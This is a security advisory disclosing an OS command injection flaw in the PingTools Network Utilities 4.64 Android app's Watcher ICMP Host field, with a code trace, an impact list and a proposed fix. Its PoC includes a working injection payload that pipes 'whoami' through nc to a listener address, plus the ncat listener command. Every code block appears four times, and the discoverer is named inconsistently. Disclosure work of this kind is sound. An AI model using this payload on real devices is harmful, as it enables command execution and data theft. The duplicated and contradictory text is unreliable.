PingTools Network Utilities 4.64 - OS command injection through Watcher ICMP host

8,6

High

Discovered by

Miguel Gómez

Offensive Team, Fluid Attacks

Summary

Full name

PingTools Network Utilities 4.64 - OS command injection through Watcher ICMP host

State

Public

Release date

Affected product

PingTools Network Utilities

Vendor

StreamSoft

Affected version(s)

4.64

Vulnerability name

OS Command Injection

Vulnerability type

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.6

Exploit available

Yes

Description

PingTools Network Utilities 4.64 Free contains an OS command injection vulnerability in the Host field of a Watcher ICMP service. When a Watcher check runs, the application includes the supplied Host value in a ping command, serializes that command to a single string, and executes it through sh -c.

A local attacker who can create or modify a Watcher ICMP service can supply shell metacharacters in Host to alter the intended command and execute attacker-controlled commands. Those commands run with the PingTools application UID, Android sandbox access, and permissions; the issue does not grant root or access to another application's private data.

The affected field is intended to contain a hostname or IP address. Watcher is presented as a remote-resource monitoring feature, and neither the interface nor vendor documentation describes shell syntax as accepted input.

Vulnerability

Root cause

The application combines data and shell syntax. It builds ping arguments in a list, flattens the list to one space-delimited string without quoting, and then deliberately invokes sh -c with that string. The Host value is neither constrained to a hostname/IP grammar nor shell-escaped before reaching the shell.

The tested application identifies itself as package ua.com.streamsoft.pingtools, version code 464, version name 4.64 Free, with minimum SDK 24 and target SDK 33.

Source-to-sink path

  1. Source — Watcher Host field (WatcherManageServiceFragment.java:164-179):

    if (this.f40296S0.length() == 0) {
        this.f40296S0.setError(...);
        return;
    }
    ...
    this.f40294Q0.updateHost(
        this.f40296S0.getText().toString().trim()
    );
    if (this.f40296S0.length() == 0) {
        this.f40296S0.setError(...);
        return;
    }
    ...
    this.f40294Q0.updateHost(
        this.f40296S0.getText().toString().trim()
    );
    if (this.f40296S0.length() == 0) {
        this.f40296S0.setError(...);
        return;
    }
    ...
    this.f40294Q0.updateHost(
        this.f40296S0.getText().toString().trim()
    );
    if (this.f40296S0.length() == 0) {
        this.f40296S0.setError(...);
        return;
    }
    ...
    this.f40294Q0.updateHost(
        this.f40296S0.getText().toString().trim()
    );

    Only the empty value is rejected. The layout allows up to 500 characters of unrestricted textNoSuggestions. In contrast, the adjacent port field is restricted to digits and is range-checked.

  2. Ineffective canonicalization (gl/C5551j.java:77-82, originally gl/j.java):

    public static String b(String value) {
        try {
            return IDN.toASCII(value);
        } catch (Exception ignored) {
            return value;
        }
    }
    public static String b(String value) {
        try {
            return IDN.toASCII(value);
        } catch (Exception ignored) {
            return value;
        }
    }
    public static String b(String value) {
        try {
            return IDN.toASCII(value);
        } catch (Exception ignored) {
            return value;
        }
    }
    public static String b(String value) {
        try {
            return IDN.toASCII(value);
        } catch (Exception ignored) {
            return value;
        }
    }

    IDN.toASCII is an internationalized-domain conversion routine, not a hostname allowlist or shell encoder. Values containing shell syntax can remain unchanged; if conversion throws, the catch block explicitly returns the original value. The report's conclusion therefore does not depend on IDN.toASCII throwing for the submitted payload.

  3. Host appended as a raw command token (rg/C8331b.java:126-133, originally rg/b.java):

    public C8331b z(String host) {
        ...
        this.f37478e = host;
        add(host);
        return this;
    }
    public C8331b z(String host) {
        ...
        this.f37478e = host;
        add(host);
        return this;
    }
    public C8331b z(String host) {
        ...
        this.f37478e = host;
        add(host);
        return this;
    }
    public C8331b z(String host) {
        ...
        this.f37478e = host;
        add(host);
        return this;
    }
  4. Unsafe command serialization (pg/AbstractC7999b.java:36-44,89-90, originally pg/b.java):

    public String h() {
        return Joiner.on(" ").join(this.arguments);
    }
    public String h() {
        return Joiner.on(" ").join(this.arguments);
    }
    public String h() {
        return Joiner.on(" ").join(this.arguments);
    }
    public String h() {
        return Joiner.on(" ").join(this.arguments);
    }

    For the submitted service, this produces a command beginning with ping -c 3 followed by the unquoted Host value.

  5. Shell sink (vi/C9626e0.java:169-189, originally vi/e0.java):

    command.z(IDNHelper.b(watcherServiceEntity.getHost()));
    LinuxShell.w1("sh", "-c", command.h());
    command.z(IDNHelper.b(watcherServiceEntity.getHost()));
    LinuxShell.w1("sh", "-c", command.h());
    command.z(IDNHelper.b(watcherServiceEntity.getHost()));
    LinuxShell.w1("sh", "-c", command.h());
    command.z(IDNHelper.b(watcherServiceEntity.getHost()));
    LinuxShell.w1("sh", "-c", command.h());

    pg/C8002e.java:59-70 confirms that LinuxShell forwards the three elements to ProcessBuilder.command(...). Although ProcessBuilder itself receives an argument array, its third element is interpreted as shell code because the executable is explicitly sh with -c.

  6. Execution context: the application declares network and other permissions, including INTERNET, but the process is still confined by the normal Android application UID and SELinux sandbox. The Watcher service is declared android:exported="false", so the tested application does not expose this sink directly as an unauthenticated Android service to other apps.

Watcher is presented by the vendor as a facility for continuous monitoring of remote resources. The service editor offers ICMP, TCP, HTTP, and HTTPS checks and labels the affected value Host; it does not advertise arbitrary shell execution. The code also enforces a numeric allowlist and range for ports, demonstrating that these inputs are intended to be structured configuration rather than shell fragments.

Using a shell internally to run ping is an implementation choice. It does not make command separators in a Host value part of the documented feature. A safe implementation can invoke ping directly with a separate argument array, avoiding sh -c, and validate the value as an IP address or hostname.

Impact

A successful injection runs commands as the PingTools application UID. Within that boundary, commands can:

  • read and exfiltrate files and databases accessible to PingTools, including application-private Watcher/backup data;

  • modify or delete PingTools data and configuration;

  • use permissions inherited from the application, notably outbound network access;

  • disrupt Watcher checks or the application process; and

  • establish persistence inside app-controlled storage to the extent permitted by Android and available executables.

PoC

Step-by-step

  1. On a tester-controlled machine reachable from the Android device, start a listener:

    ncat -nlvp 443
    ncat -nlvp 443
    ncat -nlvp 443
    ncat -nlvp 443
  2. Open PingTools Network Utilities and navigate to:

    Watcher -> Add (+) -> New Watcher Task
    Watcher -> Add (+) -> New Watcher Task
    Watcher -> Add (+) -> New Watcher Task
    Watcher -> Add (+) -> New Watcher Task
  3. Create a node, add a service, and choose service type ICMP.

  4. In Host, enter the following value after replacing 192.168.1.23 with the listener address:

    127.0.0.1>/dev/null;whoami|nc${IFS}192.168.1.23${IFS}443;ping${IFS}127.0.0.1;
    127.0.0.1>/dev/null;whoami|nc${IFS}192.168.1.23${IFS}443;ping${IFS}127.0.0.1;
    127.0.0.1>/dev/null;whoami|nc${IFS}192.168.1.23${IFS}443;ping${IFS}127.0.0.1;
    127.0.0.1>/dev/null;whoami|nc${IFS}192.168.1.23${IFS}443;ping${IFS}127.0.0.1;
  5. Save the service and Watcher task.

  6. Open the task menu and select Check.

  7. Observe a connection at the listener containing the PingTools process username, for example:

    u0_a330
    u0_a330
    u0_a330
    u0_a330

The effective shell program is equivalent to:

ping -c 3 127.0.0.1 >/dev/null;
whoami | nc 192.168.1.23 443;
ping 127.0.0.1;
#
ping -c 3 127.0.0.1 >/dev/null;
whoami | nc 192.168.1.23 443;
ping 127.0.0.1;
#
ping -c 3 127.0.0.1 >/dev/null;
whoami | nc 192.168.1.23 443;
ping 127.0.0.1;
#
ping -c 3 127.0.0.1 >/dev/null;
whoami | nc 192.168.1.23 443;
ping 127.0.0.1;
#

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-103038 to refer to this issue from now on.

Disclosure policy

System Information

  • Product: PingTools Network Utilities

  • Affected version: 4.64 Free (versionCode 464)

  • Package: ua.com.streamsoft.pingtools

  • Operating system: Android 7.0 and later according to the application's declared minimum SDK (minSdkVersion=24)

References

Solution and Workaround

Preferred solution

The vendor should preserve the Watcher ICMP feature but change its execution boundary. After normalizing the Host value with IDN.toASCII, validate it as a single hostname or IP address accepted by the product. Reject invalid values; do not try to make arbitrary input safe by removing shell characters. The validated value must remain one argument throughout command construction.

The command builder already models the ping invocation as an argument list. It should pass that list directly to a process-execution API, instead of joining it into command.h() and passing the resulting string to LinuxShell.w1("sh", "-c", ...). If LinuxShell is the application's common execution wrapper, add an overload that accepts List<String> and delegates that list unchanged to ProcessBuilder.command(...). This keeps the existing command, output collection, timeout, and Watcher-result handling while removing the shell interpreter from this path.

The intended execution model is equivalent to:

String host = validateWatcherHost(IDN.toASCII(watcherServiceEntity.getHost()));
List<String> command = Arrays.asList("ping", "-c", "3", host);
new ProcessBuilder(command).start();
String host = validateWatcherHost(IDN.toASCII(watcherServiceEntity.getHost()));
List<String> command = Arrays.asList("ping", "-c", "3", host);
new ProcessBuilder(command).start();
String host = validateWatcherHost(IDN.toASCII(watcherServiceEntity.getHost()));
List<String> command = Arrays.asList("ping", "-c", "3", host);
new ProcessBuilder(command).start();
String host = validateWatcherHost(IDN.toASCII(watcherServiceEntity.getHost()));
List<String> command = Arrays.asList("ping", "-c", "3", host);
new ProcessBuilder(command).start();

validateWatcherHost should accept only the hostname and IPv4/IPv6 forms that Watcher documents, including any legitimate internationalized hostname after normalization. Tests should cover valid hostnames and addresses as well as values beginning with -, shell separators, substitutions, expansions, and whitespace. None of the latter may reach the process launcher.

Proposed patch

This is a proposed maintainer patch for the vulnerable execution boundary. It is not a vendor patch and was not supplied by the researcher. It must be reviewed and adapted by the product maintainer before release. Its security property is that the normalized, validated Host remains one process argument and is never interpreted by a shell.

--- a/vi/e0.java
+++ b/vi/e0.java
@@
- command.z(IDNHelper.b(watcherServiceEntity.getHost()));
- LinuxShell.w1("sh", "-c", command.h());
+ String host = validateWatcherHost(
+     IDNHelper.b(watcherServiceEntity.getHost())
+ );
+ command.z(host);
+ LinuxShell.execute(command.arguments());
--- a/vi/e0.java
+++ b/vi/e0.java
@@
- command.z(IDNHelper.b(watcherServiceEntity.getHost()));
- LinuxShell.w1("sh", "-c", command.h());
+ String host = validateWatcherHost(
+     IDNHelper.b(watcherServiceEntity.getHost())
+ );
+ command.z(host);
+ LinuxShell.execute(command.arguments());
--- a/vi/e0.java
+++ b/vi/e0.java
@@
- command.z(IDNHelper.b(watcherServiceEntity.getHost()));
- LinuxShell.w1("sh", "-c", command.h());
+ String host = validateWatcherHost(
+     IDNHelper.b(watcherServiceEntity.getHost())
+ );
+ command.z(host);
+ LinuxShell.execute(command.arguments());
--- a/vi/e0.java
+++ b/vi/e0.java
@@
- command.z(IDNHelper.b(watcherServiceEntity.getHost()));
- LinuxShell.w1("sh", "-c", command.h());
+ String host = validateWatcherHost(
+     IDNHelper.b(watcherServiceEntity.getHost())
+ );
+ command.z(host);
+ LinuxShell.execute(command.arguments());

The new LinuxShell.execute(List<String>) interface must pass the list unchanged to new ProcessBuilder(arguments).start(); it must not join, quote, or pass the arguments to sh -c. validateWatcherHost must reject shell syntax, whitespace, and option-like values, accepting only the DNS and IP address forms supported by Watcher. Apply the same validation before storing values received through backup restore.

Mitigation

  1. Add a non-shell process-execution interface that accepts an argument list and use it for every Watcher ICMP check. Keep the Host value as one list element from WatcherServiceEntity to the ping process; do not serialize and reparse the command.

  2. Apply the same Host validation at each persistence boundary: the Watcher editor and the Watcher-backup import/restore path. Both routes must accept supported DNS names and IP addresses, and reject values outside that grammar before they are stored or scheduled.

  3. Add end-to-end regression tests for normal Watcher checks using valid DNS, IPv4, IPv6, and internationalized hostnames. Add negative tests for separators, expansions, substitutions, whitespace, and option-like values; assert that the application rejects them and that no shell process is created.

  4. Backport the correction to supported releases, publish the first fixed version, and document the upgrade path. The release notes should state that the change affects Watcher ICMP Host processing so operators can identify and update affected installations.

Credits

The vulnerability was discovered by Andrés Ramos from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.